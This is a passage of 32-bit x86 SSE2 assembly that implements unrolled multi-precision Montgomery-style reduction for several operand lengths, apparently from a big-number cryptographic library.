pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(20), %edx
jmp .Lfinishgas_1
.Ltst_reduct6gas_1:
cmp $(6), %edi
jne .Ltst_reduct7gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (24)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (24)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (28)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (28)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (32)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (32)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (36)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (36)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (40)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (40)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (44)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (44)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(24), %edx
jmp .Lfinishgas_1
.Ltst_reduct7gas_1:
cmp $(7), %edi
jne .Ltst_reduct8gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (28)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (28)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (32)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (32)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (36)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (36)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (40)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (40)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (44)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (44)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (48)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (48)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (52)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (52)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(28), %edx
jmp .Lfinishgas_1
.Ltst_reduct8gas_1:
cmp $(8), %edi
jne .Ltst_reduct9gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (32)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (32)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (36)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (36)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (40)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (40)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (44)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (44)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (48)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
